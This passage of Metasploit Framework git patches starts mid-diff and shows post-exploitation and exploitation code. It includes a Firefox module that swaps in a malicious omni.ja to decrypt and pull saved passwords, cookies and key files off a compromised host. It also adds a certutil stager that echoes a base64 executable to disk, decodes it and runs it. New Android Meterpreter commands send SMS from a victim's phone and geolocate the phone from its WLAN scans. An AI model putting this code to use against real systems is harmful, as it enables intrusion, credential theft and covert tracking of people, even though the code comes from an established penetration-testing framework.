kill.") - if not session.sys.process.kill(p['pid']) + if !session.sys.process.kill(p['pid']) print_error("Could not kill Firefox process") return false end end end - - elsif session.type != "meterpreter" + else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx) p = cmd_exec("ps", "cax | grep firefox") if p =~ /firefox/ print_status("Found running Firefox process, attempting to kill.") term = cmd_exec("killall", "firefox && echo true") - if not term =~ /true/ + if !term =~ /true/ print_error("Could not kill Firefox process") return false end end end + sleep(1) + # - # rename-fu - # omni.ja -> orgomni.ja - # *random*.ja -> omni.ja - # omni.ja -> *random*.ja - # orgomni.ja -> omni.ja + # Rename-fu: + # omni.ja (original) -> orgomni.ja (original_backup) + # *random*.ja (evil) -> omni.ja (original) + # ...start & close Firefox... + # omni.ja (evil) -> *random*.ja (pointless temp file) + # orgomni.ja (original_backup) -> omni.ja (original) # rename_file(org_file, temp_file) rename_file(new_file, org_file) - # automatic termination ( window.close() or arguments) - print_status("Starting Firefox process") + # Automatic termination (window.close() - injected XUL or firefox cmd arguments) + print_status("Starting Firefox process to get #{whoami}'s credentials") cmd_exec(cmd,args) + sleep(1) + # Lets just check theres something before going forward + if session.type == "meterpreter" + i=20 + vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") if !session.fs.file.exists?(@paths['loot']) + while (!session.fs.file.exists?(@paths['loot'])) + sleep 1 + i -= 1 + break if i == 0 + end + print_error("Missing loot file. Something went wrong.") if !session.fs.file.exists?(@paths['loot']) + end # session.type == "meterpreter" + + print_status("Restoring original: #{temp_file}") rename_file(org_file, new_file) rename_file(temp_file, org_file) - # clean up + # Clean up + vprint_status("Cleaning up: #{new_file}") file_rm(new_file) + if session.type == "meterpreter" + if session.fs.file.exists?(temp_file) + print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.") + end + if !session.fs.file.exists?(org_file) + print_error("Unable to find #{org_file} on target. Something went wrong.") + end + end # session.type == "meterpreter" - # at this time it should have a loot file - if !file?(@paths['loot']) - print_error("Decryption failed, there's probably a master password in use") + # At this time, there should have a loot file + if !session.fs.file.exists?(@paths['loot']) and session.type == "meterpreter" + print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.") + # Another issue is encoding. The files may be seen as 'data' rather than 'ascii' + print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter" return false end return true - end - def download_loot(paths) - loot = "" - paths.each do |path| - print_status(path) - profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s - if session.type == "meterpreter" - session.fs.dir.foreach(path) do |file| - if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ - print_good("Downloading #{file} file from: #{path}") - file = path + "\\" + file - fd = session.fs.file.new(file) - begin - until fd.eof? - data = fd.read - loot << data if not data.nil? - end - rescue EOFError - ensure - fd.close - end - ext = file.split('.')[2] - if ext == "txt" - mime = "plain" - else - mime = "binary" - end - file = file.split('\\').last - store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") - end - end - end - if session.type != "meterpreter" - files = session.shell_command("ls #{path}").gsub(/\s/, "\n") - files.each_line do |file| - file.chomp! - if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ - print_good("Downloading #{file}\\") - data = session.shell_command("cat #{path}#{file}") - ext = file.split('.')[2] - if ext == "txt" - mime = "plain" - else - mime = "binary" - end - file = file.split('/').last - store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") - end - end - end - end - end - - def download_creds + def decrypt_download_creds print_good("Downloading loot: #{@paths['loot']}") loot = read_file(@paths['loot']) @@ -606,8 +667,13 @@ class Metasploit3 < Msf::Post return end + # Better delete the remote creds file + vprint_status("Cleaning up: #{@paths['loot']}") + file_rm(@paths['loot']) + + # Create table to store cred_table = Rex::Ui::Text::Table.new( - 'Header' => 'Firefox credentials', + 'Header' => 'Firefox Credentials', 'Indent' => 1, 'Columns'=> [ @@ -623,44 +689,32 @@ class Metasploit3 < Msf::Post cred_table << [hostname, user, pass] end - print_line("\n" + cred_table.to_s) - path = store_loot( - "firefox.creds", - "text/plain", - session, - cred_table.to_csv, - "firefox_credentials.txt", - "Firefox Credentials") - - # better delete the remote creds file - file_rm(@paths['loot']) + "firefox.creds", + "text/plain", + session, + cred_table.to_csv, + "firefox_credentials.txt", + "Firefox Credentials") + vprint_good("Saved loot: #{path.to_s}") + # Display out + vprint_line("\n" + cred_table.to_s) end + def got_root? case @platform when :windows - if session.sys.config.getuid =~ /SYSTEM/ - return true - else - return false - end - else # unix, bsd, linux, osx + session.sys.config.getuid =~ /SYSTEM/ ? (true) : (false) + else # unix, bsd, linux, osx ret = whoami - if ret =~ /root/ - return true - else - return false - end + ret =~ /root/ ? (true) : (false) end end + def whoami - if @platform == :windows - session.sys.config.getenv('USERNAME') - else - session.shell_command("whoami").chomp - end + @platform == :windows ? (session.sys.config.getenv('USERNAME')) : (session.shell_command("whoami").chomp) end end From 7f05403ae08c0899fbccddcd62c7f8e8601e957e Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Thu, 16 Jul 2015 13:20:05 +0700 Subject: [PATCH 0173/2172] Added certutil cmdstager --- lib/msf/core/exploit/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager/certutil.rb | 111 +++++++++++++++++++++ 3 files changed, 113 insertions(+) create mode 100644 lib/rex/exploitation/cmdstager/certutil.rb diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 692f4fda2c..1aec28e188 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -20,6 +20,7 @@ module Exploit::CmdStager :printf => Rex::Exploitation::CmdStagerPrintf, :vbs => Rex::Exploitation::CmdStagerVBS, :vbs_adodb => Rex::Exploitation::CmdStagerVBS, + :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP } diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 3db60c1f37..e57d563796 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -2,6 +2,7 @@ require 'rex/exploitation/cmdstager/base' require 'rex/exploitation/cmdstager/vbs' +require 'rex/exploitation/cmdstager/certutil' require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb new file mode 100644 index 0000000000..f776b19797 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/certutil.rb @@ -0,0 +1,111 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' + +module Rex +module Exploitation + +### +# +# This class provides the ability to create a sequence of commands from an executable. +# When this sequence is ran via command injection or a shell, the resulting exe will +# be written to disk and executed. +# +# This particular version uses Windows certutil to base64 decode a file, +# created via echo >>, and decode it to the final binary. +# +# +# Written by xistence +# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522 +# +### + +class CmdStagerCertutil < CmdStagerBase + + def initialize(exe) + super + + @var_encoded = Rex::Text.rand_text_alpha(5) + @var_decoded = Rex::Text.rand_text_alpha(5) + @decoder = nil # filled in later + end + + + # + # Override just to set the extra byte count + # + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo " + @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # + # Simple base64... + # + def encode_payload(opts) + Rex::Text.encode_base64(@exe) + end + + + # + # Combine the parts of the encoded file with the stuff that goes + # before / after it. + # + def parts_to_commands(parts, opts) + + cmds = [] + parts.each do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmds << cmd + end + + cmds + end + + + # + # Generate the commands that will decode the file we just created + # + def generate_cmds_decoder(opts) + + cmds = [] + cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe" + return cmds + end + + + # + # We override compress commands just to stick in a few extra commands + # last second.. + # + def compress_commands(cmds, opts) + # Make it all happen + cmds << "#{@tempdir}#{@var_decoded}.exe" + + # Clean up after unless requested not to.. + if (not opts[:nodelete]) + cmds << "del #{@tempdir}#{@var_encoded}.b64" + # NOTE: We won't be able to delete the exe while it's in use. + end + + super + end + + # Windows uses & to concat strings + def cmd_concat_operator + " & " + end + +end +end +end From d5c57d9d6eb5de81a5b4e6a5fa53edb3888959af Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Thu, 16 Jul 2015 16:05:59 +0100 Subject: [PATCH 0174/2172] Use creds API --- modules/post/multi/gather/firefox_creds.rb | 34 ++++++++++++++++------ 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 2bf1055640..3362a0ed56 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles - def initialize(info={}) + def initialize(info = {}) super(update_info(info, 'Name' => 'Multi Gather Firefox Signon Credential Collection', 'Description' => %q{ @@ -125,8 +125,8 @@ class Metasploit3 < Msf::Post end # session.type == "meterpreter" session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "") - print_status("Downloading: #{@paths['ff'] + org_file} %s" % size) tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too + print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size) if session.type == "meterpreter" # If meterpreter is an option, lets use it! session.fs.file.download_file(tmp, @paths['ff'] + org_file) @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Post return end - print_status("Uploading #{tmp} to: #{@paths['ff']}") + print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}") print_warning("This may take some time...") if @platform =~ /unix|osx/ if session.type == "meterpreter" session.fs.file.upload_file(@paths['ff'] + new_file, tmp) @@ -249,11 +249,9 @@ class Metasploit3 < Msf::Post userdirs.each_line do |dir| dir.chomp! - next if dir == "." || dir == ".." - next if dir =~ /No such file/i + next if dir == "." || dir == ".." || dir =~ /No such file/i dir =~ /^\/root$/ ? (basepath = "/#{id}") : (basepath = "#{home + dir}") - @platform == :osx ? (basepath = "#{basepath}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{basepath}/.mozilla/firefox/") print_status("Checking for Firefox profile in: #{basepath}") @@ -347,7 +345,7 @@ class Metasploit3 < Msf::Post files.each do |file| file.chomp! - if file =~ /^key\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^cert\d\.json$/ or file =~ /^logins\.json$/ + if file =~ /^key\d\.db$/ or file =~ /^cert\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^logins\.json$/ vprint_status("Downloading: #{file}") if session.type == "meterpreter" file = path + "\\" + file @@ -550,7 +548,6 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); # Starts a new Firefox process and triggers decryption def decrypt_trigger_decrypt(org_file, new_file, temp_file) - [org_file, new_file, temp_file].each do |f| f.insert(0, @paths['ff']) end @@ -610,6 +607,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); # omni.ja (evil) -> *random*.ja (pointless temp file) # orgomni.ja (original_backup) -> omni.ja (original) # + vprint_status("Renaming .JA files") rename_file(org_file, temp_file) rename_file(new_file, org_file) @@ -630,7 +628,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); print_error("Missing loot file. Something went wrong.") if !session.fs.file.exists?(@paths['loot']) end # session.type == "meterpreter" - print_status("Restoring original: #{temp_file}") + print_status("Restoring original .JA: #{temp_file}") rename_file(org_file, new_file) rename_file(temp_file, org_file) @@ -687,8 +685,26 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); creds.each do |cred| hostname, user, pass = cred.rstrip.split(" :: ") cred_table << [hostname, user, pass] + + # Creds API + service_data = { + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + smodule_fullname: self.fullname, + username: user, + private_data: pass, + private_type: :password + }.merge(service_data) + + create_credential(credential_data) end + # Create local loot csv file path = store_loot( "firefox.creds", "text/plain", From 844b47e8ce780ea88c179d1cf743bfa48d181d63 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Sat, 18 Jul 2015 14:10:46 +0700 Subject: [PATCH 0175/2172] Additional changes --- lib/rex/exploitation/cmdstager/certutil.rb | 26 ++++++++++------- .../exploitation/cmdstager/certutil_spec.rb | 29 +++++++++++++++++++ 2 files changed, 44 insertions(+), 11 deletions(-) create mode 100644 spec/lib/rex/exploitation/cmdstager/certutil_spec.rb diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb index f776b19797..6bfc5b569a 100644 --- a/lib/rex/exploitation/cmdstager/certutil.rb +++ b/lib/rex/exploitation/cmdstager/certutil.rb @@ -33,9 +33,9 @@ class CmdStagerCertutil < CmdStagerBase end - # # Override just to set the extra byte count - # + # @param opts [Array] The options to generate the command line + # @return [Array] The complete command line def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo " @@ -46,18 +46,19 @@ class CmdStagerCertutil < CmdStagerBase end - # - # Simple base64... - # + # Simple base64 encoder for the executable + # @param opts [Array] The options to generate the command line + # @return [String] Base64 encoded executable def encode_payload(opts) Rex::Text.encode_base64(@exe) end - # # Combine the parts of the encoded file with the stuff that goes # before / after it. - # + # @param parts [Array] Splitted commands + # @param opts [Array] The options to generate the command line + # @return [Array] The command line def parts_to_commands(parts, opts) cmds = [] @@ -73,9 +74,9 @@ class CmdStagerCertutil < CmdStagerBase end - # # Generate the commands that will decode the file we just created - # + # @param opts [Array] The options to generate the command line + # @return [Array] The certutil Base64 decoder part of the command line def generate_cmds_decoder(opts) cmds = [] @@ -84,10 +85,11 @@ class CmdStagerCertutil < CmdStagerBase end - # # We override compress commands just to stick in a few extra commands # last second.. - # + # @param cmds [Array] Complete command line + # @param opts [Array] Extra options for command line generation + # @return [Array] The complete command line including cleanup def compress_commands(cmds, opts) # Make it all happen cmds << "#{@tempdir}#{@var_decoded}.exe" @@ -102,6 +104,8 @@ class CmdStagerCertutil < CmdStagerBase end # Windows uses & to concat strings + # + # @return [String] Concat operator def cmd_concat_operator " & " end diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb new file mode 100644 index 0000000000..46ac22d268 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerCertutil do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end From ad86a729187118f2733a23d64d233639ee9ecc7a Mon Sep 17 00:00:00 2001 From: Jack64 <somethingsyouneverforget@gmail.com> Date: Mon, 20 Jul 2015 01:16:58 +0100 Subject: [PATCH 0176/2172] send_sms + wlan_geolocate --- .../meterpreter/extensions/android/android.rb | 38 +++++- .../meterpreter/extensions/android/tlv.rb | 7 ++ .../ui/console/command_dispatcher/android.rb | 109 +++++++++++++++++- 3 files changed, 150 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index e36a27eb31..77d9901efd 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -119,6 +119,40 @@ class Android < Extension response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + + def send_sms(dest,body) + request = Packet.create_request('send_sms') + request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) + request.add_tlv(TLV_TYPE_SMS_BODY,body) + response = client.send_request(request) + resp=response.get_tlv(TLV_TYPE_SMS_SENT).value + return resp + end + + def wlan_geolocate + request = Packet.create_request('wlan_geolocate') + response = client.send_request(request,60) + networks=[] + response.each( TLV_TYPE_WLAN_GROUP ) { |p| + + networks << + { + 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), + 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), + 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) + } + + } + return networks +# response.get_tlv(TLV_TYPE_WLAN_STRING).value +# response.each( TLV_TYPE_CONTACT_GROUP ) { |p| +# wifi << { +# 'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value +# } +# } +# return wifi +# response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value + end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 879afbe944..37232b9bbf 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -33,6 +33,13 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SMS_SENT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9021) + +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a31638bc61..a71addd84a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -26,7 +26,9 @@ class Console::CommandDispatcher::Android 'geolocate' => 'Get current lat-long using geolocation', 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', - 'device_shutdown' => 'Shutdown device' + 'device_shutdown' => 'Shutdown device', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information', } reqs = { @@ -35,7 +37,9 @@ class Console::CommandDispatcher::Android 'geolocate' => [ 'geolocate' ], 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'] + 'device_shutdown' => [ 'device_shutdown'], + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met @@ -343,6 +347,7 @@ class Console::CommandDispatcher::Android end + def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( @@ -368,6 +373,106 @@ class Console::CommandDispatcher::Android end end + def cmd_send_sms(*args) + send_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Destination number' ], + '-t' => [ true, 'SMS body text' ] + ) + dest='' + body='' + send_sms_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: send_sms -d <number> -t <sms body>') + print_line('Sends SMS messages to specified number.') + print_line(send_sms_opts.usage) + return + when '-d' + dest=val + when '-t' + body=val + end + } + if (dest.blank? or body.blank?) + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + sent=client.android.send_sms(dest,body) + if (sent) + print_good('SMS sent') + else + print_status('SMS failed to send') + end + end + + def cmd_wlan_geolocate(*args) + + wlan_geolocate_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + wlan_geolocate_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: wlan_geolocate') + print_line('Tries to get device geolocation from WLAN information and Google\'s API') + print_line(wlan_geolocate_opts.usage) + return + end + } + + log = client.android.wlan_geolocate + wlan_list='' + log.each{|x| + mac=x['bssid'] + ssid=x['ssid'] + ss=x['level'] + network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" + wlan_list << network_data +# print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s()) + } + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + + # Build and send the request to Google + url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" + uri = URI.parse(URI.encode(url)) + request = Net::HTTP::Get.new(uri.request_uri) + http = Net::HTTP::new(uri.host,uri.port) + http.use_ssl = true + response = http.request(request) + + # Gather the required information from the response + if response && response.code == '200' + results = JSON.parse(response.body) + latitude = results["location"]["lat"] + longitude = results["location"]["lng"] + accuracy = results["accuracy"] + print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") + print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + else + print_error("Failure connecting to Google for location lookup.") + end + +# print_status(log) +# log.each{|x| +# print_line(x) +# } + #if is_rooted + # print_good('Device is rooted') + #elsif + # print_status('Device is not rooted') + #end + end + + + # # Name for this dispatcher # From 97f4ec72f996019377d774dcee375770dd4c4160 Mon Sep 17 00:00:00 2001 From: Jack64 <somethingsyouneverforget@gmail.com> Date: Mon, 20 Jul 2015 01:20:36 +0100 Subject: [PATCH 0177/2172] minor fixes --- .../post/meterpreter/extensions/android/android.rb | 8 -------- .../ui/console/command_dispatcher/android.rb | 14 ++------------ 2 files changed, 2 insertions(+), 20 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 77d9901efd..ad565c172f 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -144,14 +144,6 @@ class Android < Extension } return networks -# response.get_tlv(TLV_TYPE_WLAN_STRING).value -# response.each( TLV_TYPE_CONTACT_GROUP ) { |p| -# wifi << { -# 'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value -# } -# } -# return wifi -# response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a71addd84a..647199040e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -422,8 +422,8 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } - + + print_status('Waiting for WiFi scan results...') log = client.android.wlan_geolocate wlan_list='' log.each{|x| @@ -432,7 +432,6 @@ class Console::CommandDispatcher::Android ss=x['level'] network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" wlan_list << network_data -# print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s()) } if wlan_list.blank? @@ -460,15 +459,6 @@ class Console::CommandDispatcher::Android print_error("Failure connecting to Google for location lookup.") end -# print_status(log) -# log.each{|x| -# print_line(x) -# } - #if is_rooted - # print_good('Device is rooted') - #elsif - # print_status('Device is not rooted') - #end end From 0771d5ec3940a31acc0ec7e4fe9181d4f3350db1 Mon Sep 17 00:00:00 2001 From: Jack64 <somethingsyouneverforget@gmail.com> Date: Mon, 20 Jul 2015 01:22:45 +0100 Subject: [PATCH 0178/2172] minor fixes --- lib/rex/post/meterpreter/extensions/android/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index ad565c172f..97a9614388 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -131,7 +131,7 @@ class Android < Extension def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,60) + response = client.send_request(request,45) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| From 1a9664fcbacb29a843ba1f1aca184c612eb01d86 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 20 Jul 2015 09:54:51 -0500 Subject: [PATCH 0179/2172] Delete default option --- lib/msf/core/exploit/http/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index f9a57f7f49..d01107f91e 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -53,7 +53,7 @@ module Exploit::Remote::HttpClient OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']), - OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20]) + OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']) ], self.class ) From 035c0a8a3883363c9609e08add221b0397f1e41d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 20 Jul 2015 11:27:48 -0500 Subject: [PATCH 0180/2172] Fix #5078 by improving actual_timeout calculation --- lib/msf/core/exploit/http/client.rb | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index d01107f91e..83eaedff66 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -308,7 +308,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw. # def send_request_raw(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_raw(opts) @@ -325,7 +330,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_cgi(opts) @@ -344,7 +354,12 @@ module Exploit::Remote::HttpClient # will contain the full URI. # def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + res = send_request_cgi(opts, actual_timeout) return res unless res && res.redirect? && redirect_depth > 0 From f1a909c292e5896eda8a5ded566975de27f963cd Mon Sep 17 00:00:00 2001 From: rastating <rob@rastating.com> Date: Mon, 20 Jul 2015 18:13:32 +0100 Subject: [PATCH 0181/2172] Add WP All In One Migration export module --- .../gather/wp_all_in_one_migration_export.rb | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 modules/auxiliary/gather/wp_all_in_one_migration_export.rb diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb 